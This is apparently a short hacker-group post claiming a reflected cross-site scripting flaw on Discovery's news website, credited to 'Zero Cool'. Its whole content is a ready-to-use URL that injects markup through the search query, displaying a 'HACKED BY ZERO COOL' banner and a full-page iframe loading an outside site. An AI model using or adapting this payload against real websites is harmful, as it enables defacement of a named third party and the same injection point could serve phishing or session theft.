Zero Cool found non-persisting XSS vulnerability on the Official Website of Discovery.
Vulnerable Website:-
Vulnerable Link:-
http://news.discovery.com/search/results.html?focus=site&query=%3E%22%3E%3CMARQUEE%3EHACKED+BY+ZERO+COOL%3C%2FMARQUEE%3E%3Ciframe%2Bsrc%2B%253D%22http%253A%252F%252Fwww.indishell.in%22%2Bwidth%253D%22100%2525%22%2Bheight%253D%22100%2525%22%3E%3C%252Fiframe%3E%26Submit%3DGo&search.x=37&search.y=14&search=search